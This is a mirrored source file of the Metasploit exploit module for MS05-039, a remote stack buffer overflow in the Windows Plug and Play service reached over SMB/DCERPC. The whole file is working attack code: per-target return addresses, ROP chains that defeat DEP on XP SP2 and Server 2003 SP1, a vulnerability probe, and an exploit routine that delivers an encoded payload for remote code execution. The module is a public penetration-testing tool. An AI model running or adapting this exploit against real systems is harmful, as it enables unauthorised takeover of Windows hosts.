Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms05_039_pnp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client101112def initialize(info = {})13super(update_info(info,14'Name' => 'MS05-039 Microsoft Plug and Play Service Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the Windows Plug17and Play service. This vulnerability can be exploited on18Windows 2000 without a valid user account.1920NOTE: Since the PnP service runs inside the service.exe process, a failed21exploit attempt will cause the system to automatically reboot.22},23'Author' => [ 'hdm', 'cazz' ],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2005-1983' ],28[ 'OSVDB', '18605' ],29[ 'BID', '14513' ],30[ 'MSB', 'MS05-039' ]31],32'DefaultOptions' =>33{34'EXITFUNC' => 'thread',35},36'Privileged' => true,37'Payload' =>38{39'Space' => 1000,40'BadChars' => "\x00",41'StackAdjustment' => -3500,42},43'Platform' => 'win',44'Targets' =>45[46[47'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm48{49'Ret' => 0x767a38f6, # umpnpmgr.dll50},51],52[53'Windows 2000 SP4 French',54{55'Ret' => 0x767438f6, # French target by ExaProbe <[email protected]>56},57],58[59'Windows 2000 SP4 Spanish',60{61'Ret' => 0x767738f6, # umpnpmgr.dll62},63],64[65# Tested on: English/French/German/Dutch/Finnish/Greek/Polish/Portuguese/Hungarian/Korean/Chinese/Arabic/Turkish/Russian66'Windows 2000 SP4 Universal',67{68'Ret' => 0x01013C79, # [Pita] [Houmous] <[email protected]>69},70],71[72'Windows 2000 SP0-SP4 German',73{74'Ret' => 0x767338f6, # German target by Michael Thumann <[email protected]>75},76],77[78'Windows 2000 SP0-SP4 Italian',79{80'Ret' => 0x7677366f, # acaro <[email protected]>81},82],83[84'Windows XP SP1 English',85{86'Ret' => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.110687'Pipe' => 'ntsvcs',88'Offset' => 16,89}90],91# NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access92# the vulnerable functionality.93[94'Windows XP SP2 English (Requires Admin)',95# SafeSEH enabled, DEP AlwaysOn96{97#'Ret' => 0x41424344,98'Ret' => 0x758d2bb3, # pop eax / ret 0x899'Pipe' => 'ntsvcs',100'PtrToZero' => 0x758c0170, # PE data of umpnpmgr.dll v5.1.2600.2180101'Offset' => 72,102'EspOffset' => 108,103'RopStack' =>104# All addresses are from umpnpmgr.dll v5.2.3790.1830105[106#107# Step 1. Allocate an executable heap with HeapCreate108#109# Resolve HeapCreate from import1100x758c1148, # pointer to HeapCreate import1110x758c2950, # mov eax, [eax] / pop ebp / ret 0x81120x41414141, # scratch1130x41414141, # scratch114#0x758da008, # becomes ebp (something writable)1150x758da1c8-0xc, # becomes ebp (writable, used later)116117# Call HeapCreate1180x758cb728, # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc1190x41414141, # scratch1200x41414141, # scratch1210x01040110, # flOptions (gets & with 0x40005)1220x01010101,1230x01010101,1240x758ce552, # becomes edi - pop edi,esi / ret1250x758cdd7e, # becomes esi - pop esi,ebx,ebp / ret 0x41260x41414141, # becomes ebx1270x41414141, # becomes ebp128129# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base1300x758d45f3, # or eax,0x8000 / pop ebp / ret 0x41310x41414141, # scratch1320x41414141, # scratch1330x41414141, # scratch1340x41414141, # becomes ebp135136# save eax to ebx1370x758ce0d5, # push eax / call esi1380x41414141, # scratch1390x758da008+0x18, # becomes ebp140141# Setup eax to load our saved stack pointer1420x758d18db, # pop eax / ret 0xc1430x41414141, # scratch1440x758c524e, # becomes eax - pop ebp / ret 0x8145#0x758c2423, # becomes eax - pop esi,ebp / ret 0x8146147# Store a pointer to the stack to a known address (ebp-0x18), flows to eax after1480x758c1281, # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret1490x41414141, # scratch1500x41414141, # scratch1510x41414141, # scratch152#0xcafebabe, # becomes esi1530x758da008-0x10, # becomes ebp154155# Call lstrcpyW to copy shellcode into executable heap1560x758c542e, # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi1570x41414141, # scratch1580x41414141, # scratch159160# Skip the junk1610x758c96f6, # add al,0x3b / ret162163# Call the executable segment!1640x758c3b62 # call eax165]166}167],168[169'Windows Server 2003 SP0 English (Requires Admin)',170# SafeSEH unsupported, DEP unsupported171{172'Ret' => 0x780df756, # push esp / ret in msvcp60.dll173'Pipe' => 'ntsvcs',174'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll175'Offset' => 72,176}177],178[179'Windows Server 2003 SP1 English (Requires Admin)',180# SafeSEH enabled, DEP AlwaysOn181{182'Pipe' => 'ntsvcs',183# We will need to bypass DEP!184#'Ret' => 0x41424344,185'Ret' => 0x757873d5, # pop eax / ret 0x4186'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll187'Offset' => 72, # offset to saved eip188'EspOffset' => 108, # Offset to where esp ends up pointing189'RopStack' => # NOTE: 0x41414141 will become random data190# All addresses are from umpnpmgr.dll v5.2.3790.1830191[192#193# Step 1. Allocate an executable heap with HeapCreate194#195# Resolve HeapCreate from import1960x75771144, # pointer to HeapCreate import1970x75772e68, # mov eax, [eax] / pop ebp / ret1980x41414141, # scratch1990x41414141, # becomes ebp200# Call HeapCreate2010x7578bc37, # jmp eax2020x41414141, # scratch2030x41414141, # scratch204# Save the new heap address in edi2050x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x102060x01040110, # flOptions (gets & with 0x40005)2070x01010101,2080x01010101,209210#211# Step 2. Allocate a buffer using this new heap.212#2130x757873d5, # pop eax / ret 0x42140x41414141, # scratch2150x41414141, # scratch2160x41414141, # scratch2170x41414141, # scratch218# Resolve HeapAlloc from import2190x7577115c, # pointer to HeapAlloc import2200x75772e68, # mov eax, [eax] / pop ebp / ret2210x41414141, # scratch2220x41414141, # becomes ebp223# Save the address of HeapAlloc in esi2240x75777ae0, # xchg eax,esi / mov dl,0xff / dec ecx / ret2250x41414141, # scratch2260x41414141, # scratch227# Call HeapAlloc2280x7578bb6b, # push edi / call esi / pop edi,esi,ebp / ret2290xffffffff, # flags2300x00010001, # allocation size2310x0101018d, # becomes edi / first byte stored2320x7577835c, # becomes esi - pop esi / pop ebx / ret2330x757830c3, # becomes ebp/eip - pop esi / ret234235#236# Step 3. Save the heap address into ebx237#2380x7578308f, # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi2390x41414141, # scratch240# Put heap address in edi2410x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10242243#244# Step 4. Write stub:245#246# metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:247# "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"248#249# Store the first byte.2500x7578be14, # stosb / ret2510x41414141, # scratch2520x41414141, # scratch2530x41414141, # scratch2540x41414141, # scratch255# Store another byte!2560x757873d5, # pop eax / ret 0x42570x01010174, # next byte to write2580x7578be14, # stosb / ret2590x41414141, # scratch260# Store another byte!2610x757873d5, # pop eax / ret 0x42620x01010124, # next byte to write2630x7578be14, # stosb / ret2640x41414141, # scratch265# Store another byte!2660x757873d5, # pop eax / ret 0x42670x01010104, # next byte to write2680x7578be14, # stosb / ret2690x41414141, # scratch270# Store another byte!2710x757873d5, # pop eax / ret 0x42720x010101ac, # next byte to write2730x7578be14, # stosb / ret2740x41414141, # scratch275# Store another byte!2760x757873d5, # pop eax / ret 0x42770x01010184, # next byte to write2780x7578be14, # stosb / ret2790x41414141, # scratch280# Store another byte!2810x757873d5, # pop eax / ret 0x42820x010101c0, # next byte to write2830x7578be14, # stosb / ret2840x41414141, # scratch285# Store another byte!2860x757873d5, # pop eax / ret 0x42870x01010174, # next byte to write2880x7578be14, # stosb / ret2890x41414141, # scratch290# Store another byte!2910x757873d5, # pop eax / ret 0x42920x01010103, # next byte to write2930x7578be14, # stosb / ret2940x41414141, # scratch295# Store another byte!2960x757873d5, # pop eax / ret 0x42970x010101aa, # next byte to write2980x7578be14, # stosb / ret2990x41414141, # scratch300# Store another byte!3010x757873d5, # pop eax / ret 0x43020x010101eb, # next byte to write3030x7578be14, # stosb / ret3040x41414141, # scratch305# Store another byte!3060x757873d5, # pop eax / ret 0x43070x010101f8, # next byte to write3080x7578be14, # stosb / ret3090x41414141, # scratch310311#312# Step 5. Finally, call our executable heap buffer.313#3140x75783efe # call ebx315]316}317]318],319'DefaultTarget' => 0,320'DisclosureDate' => '2005-08-09'))321322register_options(323[324OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),325])326327end328329def pnp_probe(req, pipe = datastore['SMBPIPE'])330331print_status("Connecting to the SMB service...")332begin333connect()334smb_login()335rescue ::Exception => e336print_error("Error: #{e.class} #{e}")337end338339handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])340print_status("Binding to #{handle} ...")341dcerpc_bind(handle)342print_status("Bound to #{handle} ...")343344# CS_DES345cs_des =346NDR.long(0) + # CSD_SignatureLength347NDR.long(0) + # CSD_LegacyDataOffset348NDR.long(req.length) + # CSD_LegacyDataSize349NDR.long(0) + # CSD_Flags350rand_text(16) + # GUID351req # CSD_LegacyData352353# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);354355# ResourceName:356stubdata =357NDR.UnicodeConformantVaryingString("a\\b\\c") + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID358NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific359NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure)360NDR.long(cs_des.length) + # ResourceLen361NDR.long(4) + # OutputLen (at least 4)362NDR.long(0) # Flags363364print_status("Calling the vulnerable function...")365366begin367dcerpc.call(0x36, stubdata)368rescue Rex::Proto::DCERPC::Exceptions::NoResponse369print_status('Server did not respond, this is expected')370rescue => e371if e.to_s =~ /STATUS_PIPE_DISCONNECTED/372print_status('Server disconnected, this is expected')373else374raise e375end376end377378# Cleanup379disconnect380381if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and382dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")383return true384else385return false386end387end388389def check390if (pnp_probe('A'))391return Exploit::CheckCode::Vulnerable392end393return Exploit::CheckCode::Safe394end395396def exploit397# If PtrToZero is set, we use saved-ret-overwrite instead of SEH.398if target['PtrToZero'] then399eip_off = target['Offset']400nul_off = eip_off + 8401402# DEP Bypass version (2003 SP1)403if target['RopStack']404esp_off = target['EspOffset']405406# Start with a randomized base buffer407rop_length = target['RopStack'].length * 4408print_status("ROP Data is %u bytes" % rop_length)409buf = rand_text(esp_off + rop_length)410411# Put the rest of the stack data at where esp ends up...412target['RopStack'].each_with_index { |el,idx|413if el != 0x41414141414buf[esp_off + (idx*4), 4] = [el].pack('V')415end416}417else418# Start with a randomized base buffer419buf = rand_text(nul_off)420end421422# This becomes EIP423buf[eip_off,4] = [target.ret].pack('V')424425# Pointer to NULL (4 zero bytes)426buf[nul_off,4] = [target['PtrToZero']].pack('V')427else428# Pad the string up to reach our SEH frame429buf = rand_text(target['Offset'] ? target['Offset'] : 56)430431# Jump over the address and our invalid pointer to the payload432buf << Rex::Arch::X86.jmp_short('$+32')433buf << rand_text(2)434435# The SEH handler pointer436buf << [target.ret].pack('V')437438# Some padding to reach the next pointer439buf << rand_text(20)440441# ResourceName - cause access violation on RtlInitUnicodeString442buf << rand_text(3) + "\xff"443end444445# Append the encoded payload and we are good to go!446buf << payload.encoded447448# Determine which pipe to use449pipe = target['Pipe'] ? target['Pipe'] : datastore['SMBPIPE']450451pnp_probe(buf, pipe)452453print_status('The server should have executed our payload')454455handler456end457end458459460